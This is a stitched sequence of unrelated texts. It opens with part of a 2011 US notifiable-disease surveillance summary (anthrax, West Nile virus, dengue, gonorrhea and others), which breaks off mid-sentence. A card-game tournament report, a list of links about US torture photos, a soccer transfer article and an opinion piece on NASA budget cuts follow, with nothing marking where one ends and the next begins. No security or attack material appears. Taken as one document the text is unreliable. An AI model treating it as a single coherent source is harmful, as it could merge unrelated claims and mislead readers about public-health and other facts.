11723 Streptococcus pneumoniae, invasive disease (IPD) (all ages) Confirmed; unknown from CA 10316 Syphilis, congenital All reports printed 10313 Syphilis, early latent All reports printed 10314 Syphilis, late latent All reports printed 10318 Syphilis, late with clinical manifestations other than neurosyphilis All reports printed 10311 Syphilis, primary All reports printed 10312 Syphilis, secondary All reports printed 10310 Syphilis, total primary and secondary All reports printed 10315 Syphilis, unknown latent All reports printed 10210 Tetanus All reports printed 10520 Toxic-shock syndrome (staphylococcal) Confirmed and probable; unknown from CA 10270 Trichinellosis Confirmed; unknown from CA 10220 Tuberculosis Print criteria determined by the CDC Tuberculosis program 10230 Tularemia Confirmed and probable; unknown from CA 10240 Typhoid fever (caused by Salmonella typhi) Confirmed and probable; unknown from CA 11663 Vancomycin-intermediate Staphylococcus aureus (VISA) Confirmed; unknown from CA verified as confirmed 11665 Vancomycin-resistant Staphylococcus aureus (VRSA) Confirmed; unknown from CA verified as confirmed 10030 Varicella (Chickenpox) Cases with confirmed, probable, and unknown case status from CA printed
EXHIBIT. (Continued) Print criteria for conditions reported to the National Notifiable Diseases Surveillance System, 2011 Code Notifiable Condition Print Criteria*,† 11545 Vibriosis (non-cholera Vibrio species infections) Confirmed, probable, and unknown from CA 11647 Viral hemorrhagic fever Confirmed; footnote to denote the specific virus reported to CDC 10056 West Nile virus, neuroinvasive disease Data for publication received from ArboNET 10049 West Nile virus, nonneuroinvasive disease Data for publication received from ArboNET 10052 Western equine encephalitis virus, neuroinvasive disease Data for publication received from ArboNET 10065 Western equine encephalitis virus, nonneuroinvasive disease Data for publication received from ArboNET 10660 Yellow fever Data for publication received from ArboNET
Highlights for 2011
Below are summary highlights for certain national notifiable diseases. Highlights are intended to assist in the interpretation of major occurrences that affect disease incidence or surveillance trends (e.g., outbreaks, vaccine licensure, or policy changes).
Anthrax
In 2011, public health authorities in Minnesota reported a confirmed case of naturally occurring inhalation anthrax was reported by Minnesota, in a Florida resident who became ill while vacationing in Minnesota and four other northern midwestern states. The patient was hospitalized and was discharged home after appropriate treatment (1). The incident resulted in a joint investigation involving law enforcement officials, state public and animal health agencies, the National Animal Health Laboratory Network, Laboratory Response Network, CDC, and other federal agencies. The investigation revealed that during the 3 weeks of travel before disease onset the patient collected rocks and handled antlers and other animal items, and had been exposed to dust clouds while driving through areas inhabited by herds of animals. No Bacillus anthracis was detected through testing of associated animal products or environmental samples, and public health officials were unable to identify the source of the exposure. Enhanced surveillance was performed in states where the person had traveled, and no other humans or animals infected with the case strain were identified; this case is considered an isolated naturally occurring case. The incidence of anthrax in the United States and U.S. territories remains low, with two or fewer naturally occurring cases reported per year for the past 30 years.
Minnesota Department of Health. Health officials investigate case of inhalational anthrax from suspected natural environmental exposure. Available at http://www.health.state.mn.us/news/pressrel/2011/anthrax080911.html.
Domestic Arboviral, Neuroinvasive and Nonneuroinvasive
During 2011, West Nile virus (WNV) disease cases were reported from 43 states and the District of Columbia. The reported incidence of neuroinvasive disease was 0.16 cases per 100,000 population. Despite the decline in neuroinvasive disease incidence compared with previous years, the overall morbidity caused by WNV continues to be substantial. Based on previous studies, for every reported case of neuroinvasive disease, approximately 140–350 human WNV infections occur, with approximately 80% of infected persons remaining asymptomatic and 20% developing nonneuroinvasive disease (1–3). Using the 486 reported neuroinvasive disease cases, an estimated 13,600–34,000 cases of nonneuroinvasive disease might have occurred in 2011. However, only 226 nonneuroinvasive disease cases were diagnosed and reported; 1%–2% of the cases estimated to have occurred. Evidence of WNV human disease was detected in all geographic regions of the United States. The states with the highest incidence of neuroinvasive disease were the District of Columbia (1.62 per 100,000 population), Mississippi (1.04), Nebraska (0.76), and Arizona (0.76). Among the neuroinvasive disease cases, 250 (51%) cases were reported from five states: California (110 cases), Arizona (49), Michigan (32), Mississippi (31), and New York (28). California reported 23% of all WNV neuroinvasive disease cases in 2011 (4).
Among the other domestic arboviral diseases in the United States, La Crosse virus remained the most common cause of neuroinvasive disease in children. Eastern equine encephalitis virus disease, although rare, remained the most severe arboviral disease, resulting in three deaths among four patients. More Powassan virus disease cases were reported in 2011 than in any previous year, and included the first case ever reported from Pennsylvania. Wisconsin reported its first Eastern equine encephalitis disease case since 1984.
Mostashari F, Bunning ML, Kitsutani PT, et al. Epidemic West Nile encephalitis, New York, 1999: results of a household-based seroepidemiological survey. Lancet 2001;358:261–4. Busch MP, Wright DJ, Custer B, et al. West Nile virus infections projected from blood donor screening data, United States, 2003. Emerg Infect Dis 2006;12:395–402. Carson PJ, Borchardt SM, Custer B, et al. Neuroinvasive disease and West Nile virus infection, North Dakota, USA, 1999–2008. Emerg Infect Dis 2012;18:684–6. CDC. West Nile virus disease and other arboviral diseases—United States, 2011. MMWR 2012;61:510–4.
Babesiosis
Babesiosis, a tickborne parasitic disease, became a nationally notifiable condition in 2011. Babesiosis is caused by protozoan parasites of the genus Babesia that infect red blood cells. Babesia infection can range from asymptomatic to life threatening. Clinical manifestations can include fever, chills, other nonspecific influenza-like symptoms, and hemolytic anemia. Babesia parasites usually are tickborne, but they also are transmissible via blood transfusion or congenitally (1). In recent years, reports of tickborne and transfusion-associated cases have increased in number and geographic distribution (1).
In 2011, public health authorities in seven states (Connecticut, Massachusetts, Minnesota, New Jersey, New York, Rhode Island, and Wisconsin) reported the majority (97%) of babesiosis cases, with 1,092 of 1,128 cases. The median age of patients was 62 years (range: age <1–98 years); 62% (n = 700) were male, 34% (n = 386) were female, and the sex was unknown for 4% (n = 42) of patients. Among the patients for whom data were available, 82% (717 of 879) had symptom onset dates during June–August (2).
Herwaldt BL, Linden JV, Bosserman E, et al. Transfusion-associated babesiosis in the United States: a description of cases. Ann Intern Med 2011;155:509–19. CDC. Babesiosis surveillance—18 states, 2011. MMWR 2012;61:505–9.
Botulism
Botulism is a severe paralytic illness caused by toxins produced by Clostridium botulinum. Exposure to the toxin can occur by ingestion (foodborne botulism), by in situ production from C. botulinum colonization of a wound (wound botulism) or the gastrointestinal tract (infant botulism and adult intestinal colonization botulism), or overdose of botulinum toxin used for cosmetic or therapeutic purposes (1). Infant botulism continues to be the most frequently observed transmission category. During 2011, eight persons located in a prison acquired foodborne botulism after consuming pruno, an illicitly brewed alcoholic beverage.
All states maintain 24-hour telephone services for reporting of botulism and other public health emergencies. Health-care providers should report suspected botulism cases immediately to their state health departments. CDC maintains intensive surveillance for cases of botulism in the United States and provides consultation to clinicians and antitoxin for suspected cases. State health departments can reach the CDC botulism duty officer on call 24 hours a day, 7 days a week, via the CDC Emergency Operations Center (telephone: 770-488-7100).
Sobel J. Botulism. Clin Infect Dis 2005;41:1167–73.
Brucellosis
Brucellosis is an infectious disease that can be acquired by persons who come into contact with infected animals or animal products contaminated with the bacteria. The number of brucellosis cases reported in 2011 decreased by 31%, from 115 cases in 2010 to 79 cases in 2011. The five states (California, Florida, Georgia, Illinois, and Texas) reported 45 cases, accounting for approximately 57% of all cases. No cases were reported from any U.S. territories.
In 2011, the U.S. Department of Health and Human Services approved a revised brucellosis case report form. Health departments and providers are strongly encouraged to use the approved form to report brucellosis cases to CDC's Bacterial Special Pathogens Branch. This mechanism will ensure collection of standardized data needed to assess risk factors and trends associated with brucellosis better so that targeted preventive strategies can be implemented. A fillable PDF version of the form is available at http://www.cdc.gov/nczved/divisions/dfbmd/diseases/brucellosis/case-report-form.pdf. The form also can be requested via e-mail ([email protected]) or by telephone (404-639-1711). Patient identifiers such as full name, address, phone number, hospital name, and chart number should not be included in forms sent to CDC. Instructions for completion and submission of the form are included in pages 1 and 2 of the form.
Chlamydia
In 2011, approximately 1.4 million cases of Chlamydia trachomatis infections were reported, the largest number of cases ever reported to CDC for any condition (1). This case count corresponds to a rate of 457.6 cases per 100,000 population, an increase of 8% compared with the rate in 2010. Rates of reported chlamydial infections among women have been increasing annually since the late 1980s, when public programs for screening and treatment of women were established to avert pelvic inflammatory disease and related complications. The continued increase in chlamydia case reports in 2011 likely represents a continued increase in screening for this usually asymptomatic infection, expanded use of more sensitive tests, and more complete national reporting; however, it also might reflect an increase in morbidity.
CDC. Sexually transmitted disease surveillance 2011. Atlanta, GA: US Department of Health and Human Services; 2012.
Cholera
Cholera continues to be rare in the United States and is acquired most often during travel in countries where toxigenic Vibrio cholerae O1 or O139 is circulating (1). Since epidemic cholera emerged in Haiti in October 2010, cases have continued to be reported in the United States among travelers who have arrived recently from Hispaniola. Of the 42 cholera infections reported in the United States in 2011, a total of 39 were travel associated; 22 patients had arrived recently from Haiti, 11 from the Dominican Republic, and six from other cholera-affected countries. Until the cholera epidemic in Hispaniola wanes, associated cases are expected to continue to occur in the United States (2). Cholera remains a global threat to health, particularly in areas with poor access to improved water and sanitation, such as Haiti and sub-Saharan Africa (3,4).
Steinberg EB, Greene KD, Bopp CA, et al. Cholera in the United States, 1995–2000: trends at the end of the Twentieth Century. J Infect Dis 2001;184:799–802. Newton AE, Heiman KE, Schmitz A, et al. Cholera in United States associated with epidemic in Hispaniola. Emerg Infect Dis 2011;17:2166–8. Tappero J, Tauxe RV. Lessons learned during public health response to cholera epidemic in Haiti and the Dominican Republic. Emerg Infect Dis 2011;17:2087–93. Mintz ED, Guerrant RL. A lion in our village—the unconscionable tragedy of cholera in Africa. New Engl J Med 2009;360:1061–3.
Coccidioidomycosis
Coccidioidomycosis is a fungal infection caused by inhalation of airborne Coccidioides spp. spores that are present in the arid soil of the southwestern United States, California, and parts of Central and South America. The incidence of coccidioidomycosis increased in 2011, for the second consecutive year in California, Arizona, and other states. Coccidioidomycosis was not a nationally notifiable condition during 2010, although many states reported cases. In 2011, coccidioidomycosis incidence increased among all age groups, although rates remain highest among persons aged ≥60 years. Since 2009, the majority of cases have occurred among women in Arizona, whereas the majority of cases have occurred among men elsewhere in the United States. The 16,467 cases reported from Arizona and 5,697 cases from California during 2011 represent a 61% and 129% increase, respectively, compared with 2009. Coccidioidomycosis is currently the second most commonly reported condition in Arizona, and the fourth in California.
The morbidity of this disease in Arizona is considerable (1). Enhanced surveillance conducted during 2007–2008 demonstrated a self-reported median duration of illness of 42 days among persons who had recovered at the time of the interview and 157 days among those who had not; a total of 200 (41%) patients were hospitalized for coccidioidomycosis; a total of 67 (74%) employed persons and 37 (59%) students were unable to attend work or school (1).
Whether the recent increase is related to changes in surveillance methodology is not known. In 2009, one of the major commercial laboratories in Arizona changed its reporting practices to conform to the CSTE laboratory case definition, which was revised in 2007 to include cases with a single positive enzyme immunoassay result (2). The majority of laboratories in endemic areas perform testing using an enzyme immunoassay, the specificity of which is controversial (3).
Physicians, particularly in areas where the disease is endemic, should continue to maintain a high suspicion for acute coccidioidomycosis, especially among patients with an influenza-like illness or pneumonia who live in or have visited areas in which the disease is endemic.
Tsang CA, Anderson SM, Imholte SB, et al. Enhanced surveillance of coccidioidomycosis, Arizona, USA, 2007–2008. Emerg Infect Dis 2010;11:1738–44. Council of State and Territorial Epidemiologists. Revision of the surveillance case definition for coccidioidomycosis. Position statement 07-ID-13. Atlanta, GA: Council of State and Territorial Epidemiologists; 2007. Available at http://c.ymcdn.com/sites/www.cste.org/resource/resmgr/PS/07-ID-13.pdf. Kuberski T, Herrig J, Pappagianis D. False-positive IgM serology in coccidioidomycosis. J Clin Microbiol 2010;48:2047–9.
Cryptosporidiosis
Cryptosporidiosis is a nationally notifiable gastrointestinal illness caused by chlorine-tolerant protozoa of the genus Cryptosporidium. Cryptosporidium is transmitted by the fecal-oral route with the ingestion of Cryptosporidium oocysts through the consumption of fecally contaminated food or water or through direct person-to-person or animal-to-person contact.
Although cryptosporidiosis affects persons in all age groups, cases are reported most frequently in children (1). A substantial increase in transmission of Cryptosporidium in children occurs during summer through early fall, coinciding with increased use of recreational water, which is a known risk factor for cryptosporidiosis. Cryptosporidium has emerged as the leading cause of reported recreational water-associated outbreaks (2). Transmission through recreational water is facilitated by the substantial number of Cryptosporidium oocysts that can be shed by a single person, the extended time that oocysts can be shed (3), the low infectious dose (4), and the extreme tolerance of Cryptosporidium oocysts to chlorine (5).
To reduce the number of cryptosporidiosis cases associated with recreational water, enhanced public health prevention measures are needed. In the United States, pool codes are reviewed and approved by state or local public health officials; no federal agency regulates the design, construction, and operation of treated recreational water venues. This lack of uniform national standards has been identified as a barrier to the prevention and control of outbreaks associated with treated recreational water. To provide support to state and local health departments, CDC is sponsoring development of the Model Aquatic Health Code (MAHC) (http://www.cdc.gov/mahc). MAHC is a collaborative effort between local, state, and federal public health agencies and the aquatics sector to develop a data-driven, knowledge-based resource for state and local jurisdictions reviewing and updating their existing pool codes to optimally prevent and control recreational water-associated illness, including cryptosporidiosis.
CDC. Cryptosporidiosis surveillance—United States, 2009–2010. MMWR 2012;61(No. SS-5):1–12. CDC. Surveillance for waterborne disease outbreaks and other health events associated with recreational water—United States, 2007–2008. MMWR 2011;60(No. SS-12):1–32. Chappell CL, Okhuysen PC, Sterling CR, DuPont HL. Cryptosporidium parvum: intensity of infection and oocyst excretion patterns in healthy volunteers. J Infect Dis 1996;173:232–6. Chappell CL, Okhuysen PC, Langer-Curry R, et al. Cryptosporidium hominis: experimental challenge of healthy adults. Am J Trop Med Hyg 2006;75:851–7. Shields JM, Hill VR, Arrowood MJ, Beach MJ. Inactivation of Cryptosporidium parvum under chlorinated recreational water conditions. J Water Health 2008;6:513–20.
Dengue
With more than one third of the world's population living in areas at risk for transmission, dengue infection is a leading cause of illness and death in the tropics and subtropics. As many as 100 million persons are infected yearly. Dengue is caused by any one of four related viruses transmitted by mosquitoes.
Dengue in the United States occurs among persons living in subtropical and tropical areas where the disease is endemic, among U.S. travelers returning from endemic areas worldwide, and occasionally among persons living in U.S. areas that are not endemic for dengue but that are experiencing an outbreak. In 2011, a total of 1,541 dengue cases were reported to the national arbovirus surveillance network (ArboNET) from the Commonwealth of Puerto Rico and 254 cases were reported from 31 U.S. states. This represents a decrease in reported cases from Puerto Rico, and the U.S. states in 2010 (1). The overall decrease in 2011 in reported dengue cases both from U.S. areas that are and are not endemic for dengue was considered to be because of the cyclical nature of this disease worldwide and the decrease in global dengue cases (2–5).
Dengue is endemic in Puerto Rico, the U.S. Virgin Islands, and the U.S.-affiliated Pacific Islands (USAPI); (i.e., the U.S.-territories of Guam and American Samoa, the Commonwealth of the Northern Mariana Islands, the Republic of Palau, the Republic of the Marshall Islands [RMI], and the Federated States of Micronesia [FSM]). Although dengue is a notifiable disease in most U.S. territories and USAPIs, only Puerto Rico reports dengue cases to ArboNET (6). Puerto Rico did not experience an outbreak year in 2011; however, dengue outbreaks occurred in RMI and FSM. During September–December 2011, a total of 1,408 suspected cases were reported to the RMI Ministry of Health, and 1,017 suspected cases were reported from Yap state to the FSM Department of Health Services. Dengue virus (DENV)-2 and DENV-4 transmission was confirmed during the Yap and RMI outbreaks, respectively. Both outbreaks continued for several months into 2012.
Travel-associated dengue is the leading source of dengue in the U.S. areas that are not endemic for the disease, with 243 cases reported in 2011. Travel-associated dengue cases from residents of the U.S. areas that are not endemic resulted from travel to the following 42 foreign countries or U.S. territories: Puerto Rico (31), Bahamas (27), India (27), Bangladesh (16), Philippines (16), Haiti (14), Dominican Republic (10), Brazil (eight), Cuba (seven), Trinidad (seven), Costa Rica (five), and <5 cases from the Antilles, Aruba, Bermuda, Bolivia, Colombia, Curacao, Ecuador, El Salvador, Ghana, Granada, Guatemala, Guyana, Indonesia, Jamaica, Kenya, Laos, Malaysia, Mexico, Nicaragua, Pakistan, Panama, Peru, Singapore, Sri Lanka, Saint Lucia, Sudan, Thailand, Turks and Caicos, U.S. Virgin Islands, Venezuela, and Vietnam.
Although dengue is not endemic in the 50 U.S. states, an outbreak and locally acquired dengue cases were reported in Hawaii and Florida, respectively, in 2011. During February–March 2011, the Hawaii Department of Health (HI-DOH) detected laboratory-confirmed cases of dengue in five residents of Pearl City on the island of O'ahu. The first case was laboratory-confirmed in an O'ahu resident who travelled to Wisconsin in late February. After being notified by the Wisconsin Department of Health, the HI-DOH conducted case finding activities, which included a serosurvey in the index case household and neighborhood. After exhibiting dengue-like symptoms in late February, two laboratory-confirmed cases were found among the index patient's family members, and one laboratory-confirmed case was found in the neighboring household. None of these persons had travelled outside of the United States in the 2 weeks before illness onset and the virus DENV-1 was identified in two of these patients. The investigation also revealed that the likely source of virus transmission was an unrelated Pearl City resident who developed an acute febrile illness soon after returning in early February from a trip to the Philippines. In 2011, the Florida Department of Health reported cases occurring in seven persons with locally acquired dengue who had no reported travel outside of the United States in the 2 weeks before illness onset. The patients resided in Hillsborough (one patient), Martin (one), Miami-Dade (three), and Palm Beach (two) counties.
CDC. Summary of notifiable diseases—United States, 2010. MMWR 2012;59(No. SS-3):1–111. World Health Organization (WHO)—Western Pacific Region Office (WPRO). WPRO Dengue situation update; 2012. Available at http://www.wpro.who.int/emerging_diseases/12_Jan2012DengueBiWeekly.pdf. World Health Organization—Pan American Health Organization. Number of reported cases of dengue and severe dengue in the Americas by country: Figures for 2010; 2010. Available at http://new.paho.org/hq/dmdocuments/2010/dengue_cases_2010_december_10_2%20.pdf. World Health Organization—Pan American Health Organizatin. Number of reported cases of dengue and dengue severe in the Americas by country: Figures for 2011; 2011. Available at http://new.paho.org/hq/dmdocuments/2011/dengue_cases_2011_January_21_EW_3.pdf. Dash AP. From the editor's desk. Dengue Bulletin 2011;35:i–i. Council of State and Territorial Epidemiologists. State reportable conditions query results, 2012. Available at http://www.cste.org/group/SRCAQueryRes.
Ehrlichiosis and Anaplasmosis
Ehrlichiosis and anaplasmosis are rickettsial tickborne diseases. The number of reported cases of anaplasmosis increased by approximately 50%, from 1,761 cases in 2010 to 2,575 cases in 2011, the largest reported incidence since anaplasmosis became notifiable in 1998. The number of reported cases of ehrlichiosis increased by 15%, from 740 cases in 2010 to 850 cases in 2011. A case of Ehrlichia ewingii was reported for the first time from Georgia, Maryland, and Virginia. Reports of undetermined ehrlichiosis or anaplasmosis increased by approximately 40% from 104 cases in 2010 to 148 cases in 2011. The overall increase in reported incidence of all four categories of ehrlichiosis and anaplasmosis from 2010 to 2011 might indicate an increase in tick populations, expansion of tick vector range, and an increase in the use of diagnostic assays.
Giardiasis
Giardia is transmitted through the fecal-oral route with the ingestion of Giardia cysts through the consumption of fecally contaminated water or through person-to-person (or, to a lesser extent, animal-to-person) transmission. The disease normally is characterized by diarrhea, abdominal cramps, bloating, weight losss, and malabsorption.
Although giardiasis is the most common enteric parasitic infection in the United States and no declines in incidence have occurred in recent years, knowledge of its epidemiology remains incomplete. Giardiasis symptomatology is variable; infected persons can shed Giardia for several weeks, and recent studies indicate a potential for chronic sequelae from giardiasis (1,2). New epidemiologic studies are needed to identify effective public health prevention measures.
Most data on giardiasis transmission come from outbreak investigations; however, the overwhelming majority of reported giardiasis cases are not linked to known outbreaks. During 2009–2010, <1% of reported giardiasis cases were associated with outbreaks (3). The relative contributions of person-to-person, animal-to-person, foodborne, and waterborne transmission to sporadic human giardiasis in the United States are not well understood.
Until recently, no reliable serologic assays for Giardia have been available, and no population studies of Giardia seroprevalence have been conducted. With recent laboratory advances (4), such studies might now be feasible and would contribute substantially to understanding the prevalence of giardiasis in the United States. Enhanced genotyping methods would increase knowledge of the molecular epidemiology of Giardia, including elucidating species-specific subassemblages (5). These tools, combined with traditional epidemiology and surveillance, would improve understanding of giardiasis risk factors, enable researchers to identify outbreaks by linking cases currently classified as sporadic infections, and provide risk factor information needed to inform prevention strategies.
Cantey PT, Roy S, Lee B, et al. Study of nonoutbreak giardiasis: novel findings and implications for research. Am J Med 2011;124:1175.e1–8. Wensaas KA, Langeland N, Hanevik K, et al. Irritable bowel syndrome and chronic fatigue 3 years after acute giardiasis: historic cohort study. Gut 2012;61:214–9. CDC. Giardiasis surveillance—United States, 2009–2010. MMWR 2012;61 (No. SS-5):13–23. Priest JW, Moss DM, Visvesvara GS, et al. Multiplex assay detection of immunoglobulin G antibodies that recognize Giardia intestinalis and Cryptosporidium parvum antigens. Clin Vaccine Immunol 2010;17:1695–707. Feng Y, Xiao L. Zoonotic potential and molecular epidemiology of Giardia species and giardiasis. Clin Microbiol Rev 2011;24:110–40.
Gonorrhea
After a 79% decline in the rate of reported gonorrhea during 1975–2009, and after reaching the lowest gonorrhea rate recorded in 2009, the national gonorrhea rate increased in 2011 for the second consecutive year. During 2009–2011, the national rate of gonorrheal infection increased by 6% to 104 cases per 100,000 population. In 2011, the rate increased among men and women, among all racial/ethnic groups, and in all four regions of the United States (West, Midwest, Northeast, and South). As in previous years, the highest rates were observed among persons aged 15–24 years, among blacks, and in the South. In 2011, the gonorrhea rate among blacks was 17 times higher than the rate among whites (427 cases in blacks per 100,000 population compared with 25 cases in whites per 100,000 population) (1).
Treatment for gonorrhea is complicated by antimicrobial resistance. Most recently, declining susceptibility to cefixime resulted in a change in the CDC treatment guidelines; dual therapy with ceftriaxone and either azithromycin or doxycycline is now the only CDC-recommended treatment regimen for gonorrhea (2). In 2011, no isolates with decreased susceptibility to ceftriaxone were identified in CDC's sentinel surveillance system, the Gonococcal Isolate Surveillance Project (GISP); the percentage of isolates with elevated cefixime minimum inhibitory concentrations remain unchanged. Three isolates with decreased susceptibility to cefixime were identified within GISP from three different regions of the United States in 2011 (1).
CDC. Sexually transmitted disease surveillance 2011. Atlanta, GA: US Department of Health and Human Services; 2012. CDC. Update to CDC's sexually transmitted diseases treatment guidelines, 2010: oral cephalosporins no longer a recommended treatment for gonococcal infections. MMWR 2012;61:590–4.
Hansen Disease (Leprosy)
The number of reported cases decreased by 16%, from 98 cases in 2010 to 82 cases in 2011. The geographic distribution of cases reported in 2011 was the same as that reported in 2010, with Florida, Texas, California, and Hawaii reporting 61 cases and accounting for the majority (approximately 75%) of 82 reported cases. No cases were reported from any U.S. territories.
Hantavirus Pulmonary Syndrome
Hantavirus Pulmonary Syndrome (HPS) is a severe, sometimes fatal, respiratory disease in humans caused by infection with a hantavirus. Anyone who comes into contact with rodents that carry hantavirus is at risk for HPS. Rodent infestation in and around the home remains the primary risk for hantavirus exposure.
In 2011, HPS was confirmed in a rural Maine resident. This was the first person to have developed HPS from exposure to mice in Maine. Also in 2011, a fatal case of HPS occurred in a Long Island, New York, resident. This was the second case of HPS in a New York resident since 1995, and the fourth case in a person potentially exposed to rodents in the state. Although 517 (>95%) of 538 HPS cases have occurred west of the Mississippi river (1), the deer mouse (Peromyscus maniculatus, reservoir for Sin Nombre virus) and the white-footed mouse (Peromyscus leucopus, reservoir for the New York virus) are distributed widely throughout North America, and the potential for hantavirus infection is present wherever persons come into contact with an infected rodent (2).
Knust B, MacNeil A, Rollin PE. Hantavirus pulmonary syndrome clinical findings: evaluating a surveillance case definition. Vector Borne Zoonotic Dis 2012;12:393–9. Mills JN, Amman BR, Glass GE. Ecology of hantaviruses and their hosts in North America. Vector Borne Zoonotic Dis 2009;10:563–74.
Influenza-Associated Pediatric Mortality
In June 2004, the Council of State and Territorial Epidemiologists added influenza-associated pediatric mortality (i.e., among persons aged <18 years) to the list of conditions reportable to the National Notifiable Diseases Surveillance System. Cumulative year-to-date incidence data are published each week in MMWR Table 1 for low-incidence nationally notifiable diseases. MMWR counts of deaths are by date of report in a calendar year and not by date of occurrence. A total of 118 influenza-associated pediatric deaths reported to CDC during 2011. Although all deaths occurred during the 2010–2011 influenza season, 10 of these deaths occurred in 2010, and were reported several months later in 2011. A total of 108 deaths |
. He had quite a few counters on cards but I started stealing stuff off of R&D with Kati Jones continually banking money. It almost went to time when I pulled the winning agenda off of R&D. He looked through it & found a glut of them at the bottom, which obviously helped me out in the end.
12-1
Tom (Jinteki:RP)
Another Portland player. I don’t like playing against friends, because either I lose or they lose. I HATE playing against RP too. I stole a couple of Braintrusts randomly & tried to keep his economy down until he double ELI’d a remote Sundew, me with no Corroder. R&D was pretty open so I started hitting that pretty hard & eventually won out in another grind of a game. Tom’s beard remained velvety smooth throughout the entire tournament.
13-1
Top 8
Raj (Reina)
Reina Roja is another good (poor?) matchup against RP since they aren’t the wealthiest of runners. He was accessing but didn’t get a whole lot on what were expensive runs. He parasited my Pups, etc. but I was able to start scoring behind a Caprice & Ash.
14-1
Top 4
Kyle (Andromeda)
Kyle again! We started out Top 4 match with me as Corp. This was a pretty epic game, he quickly went up 6-2 & started digging R&D for the last agenda. I had most of mine in my hand so I wasn’t too worried. Was eventually able to score behind a triple ELI & Caprice server.
15-1
Final
Kyle (Andromeda)
Kyle, again! Hi Kyle. I had to play Corp again since he had Corped more & I was even? Something like that. We are so tired at this point. Games got stupid. There really needs to be breaks for long tournaments like this. We had to have the onlookers help us keep track of clicks, automatic money things, etc. since we were so tired. Another Epic game where I had the winning agenda about to be scored in a remote, but he Legworked on his last click to see 3 cards of my 4 card hand & grab the NAPD Contract. I was undefeated so we had to play another game. UGH
15-2
Final (pt 2)
Kyle (NBN:MN)
Kyle, again. Hi Kyle. A grind. An epic grind. We’re on Autopilot now. We’re sleepy. He is getting money, is ICED up heavily. Tollbooth on R&D, HQ, & a Remote. I get to 4 points & he gets to 2 points off an Astro/SanSan behind that remote. SHIT. It’s way too expensive to get to so I unfortunately have to leave that SanSan. I had trashed 3 already. I plan to now lock him on R&D & Parasite the Tollbooth there leaving a Caduceus & 0 STR Draco. I dig R&D before he can, getting to 6 points. He scored a Breaking News & Closes my Accounts. I take credit, credit, credit, run R&D for 2 more cards. 1st Card, ICE. 2nd Card, Astroscript. That’s GAME. We can now go to sleep…..I cuddled with the trophy.
16-2Posted on May 29, 2009 in Uncategorized
See Also: Afghan was taken to Guantanamo aged 12-rights group, Obama, Taguba, and the new Abu Ghraib photos, Darth Crashcart Unplugged, Torture Memo, Do The Photos Show Rape?, Photos Obama won’t release include images of rape…(warning, graphic), It’s Torture!, Torture’s Harvest, Mancow gets waterboarded: “Absolutely torture. Absolutely. That’s drowning.”, Won’t Somebody Listen to the Generals (and Admirals and Majors)?, Watching Monsters, “… authorize torture as a method of interrogation, and rape logically becomes part of the continuum of efforts to break down a prisoner’s self-esteem.”, Cheney lied about torture, Abuse Photos, and Torture and the American Conscience.
[tags]us torture photos, american torture, guantanamo bay, united states torture program, torture pictures, photographs, photos taken of torture done by americans, american military, abu ghraib, beatings, sexual assault, documentation, evidence, barack obama[/tags]Nicolas Lodeiro’s transfer may come too late to the save the Seattle Sounders’ season, but it’s now all but official. The Uruguay international was being interviewed at the airport where he was getting ready to fly to the United States and apparently sign with the Sounders. You can watch the full interview here.
Nicolás Lodeiro: "Agradezco a hincha de #Boca por el cariño" pic.twitter.com/iu3s81fRIn — Doble 5 (@Doble5TyC) July 25, 2016
In the interview, Lodeiro effectively confirms that he’s joining the Sounders. Although those words don’t literally come out of his mouth, the reporter asks him about the Sounders and Lodeiro makes no attempt to correct him, saying the move wasn’t just about the money but about what was best for his family and club. Lodeiro also speaks wistfully of his time with Boca Juniors, expressing regret that they fell short in the Copa Libertadores.
This all suggests the contract is almost certainly only awaiting his signature, meaning Boca Juniors have finally accepted a transfer fee (rumored to be in the $6 million range) and that he has agreed to personal terms (supposedly a 3.5-year contract).
If you’re the kind of person who wants to greet Lodeiro at the airport, your best bet is probably the 8:10 p.m. (Argentina time) flight to Atlanta, where he’d potentially transfer to the Seattle-bound flight that is scheduled to land around 8:52 on Tuesday. If it takes him a bit longer to get through customs, he could also be on this flight that would arrive around 9:45 a.m.
Not that we’d condone stalking him at the airport or anything...ANALYSIS/OPINION:
Word has leaked out that in its new budget, the Obama administration intends to terminate NASA’s planetary exploration program. The Mars Science Lab Curiosity, being readied on the pad, will be launched, as will the nearly completed small MAVEN orbiter scheduled for 2013, but that will be it. No further missions to anywhere are planned.
After 2013, America’s amazing career of planetary exploration, which ran from the Mariner probes in the 1960s through the great Pioneer, Viking, Voyager, Pathfinder, Mars Global Surveyor, Mars Odyssey, Spirit, Opportunity, Mars Reconnaissance Orbiter, Galileo and Cassini missions, will simply end.
Furthermore, the plan from the Office of Management and Budget (OMB) also leaves the space astronomy program adrift and headed for destruction. The now-orbiting Kepler Telescope will be turned off in midmission, stopping it before it can complete its goal of finding other Earths. Even worse, the magnificent Webb Telescope, the agency’s flagship, which promises fundamental breakthroughs in our understanding of the laws of the universe, is not sufficiently funded to allow successful completion. This guarantees further costly delays, with the ensuing budgetary overruns leading inevitably to eventual cancellation.
The administration’s decision to derail planetary exploration and space astronomy is shocking and portends the destruction of the entire American space program. As an agency, NASA is a mixed bag. It includes a large bureaucracy and wasteful, pork-driven spending. But it also includes departments that are technically superb and really deliver the goods. First and foremost among NASA’s most productive divisions are the planetary exploration and space astronomy programs. Kill those, and what is left will be indefensible.
NASA’s planetary and space astronomy programs are not merely good scientific work. They are epic achievements representative of humanity’s highest ideals in its search for truth. As a result of a string of successful probes sent to the Red Planet over the past 15 years, we now know for certain that Mars was once a warm and wet planet and continued to have an active hydrosphere for a period on the order of a billion years - a span five times as long as the time it took for life to appear on Earth after there was liquid water here. Thus, if the theory is correct that life is a natural phenomenon emerging from chemistry wherever there is liquid water, various minerals and a sufficient period of time, life must have appeared on Mars. If we can find it, we will have good reason to believe we are not alone in the universe.
The Kepler observatory has discovered more than 1,000 other solar systems, and if it’s allowed to continue operating, it could well find other worlds like ours. The Hubble Space Telescope discovered that the expansion of the universe is accelerating, indicating the existence of a basic force of nature that previously was unknown. The Webb Telescope will be five times as powerful as Hubble. If it can be completed and flown, there is no telling what discoveries it could make. From the laws of gravity through nuclear fusion, many of our most important discoveries in physics were made through astronomy. We have no idea what the processes were that allowed for the creation of matter, energy and the universe. Webb might help us find out. The potential gains to humanity from such expanded knowledge are beyond calculation.
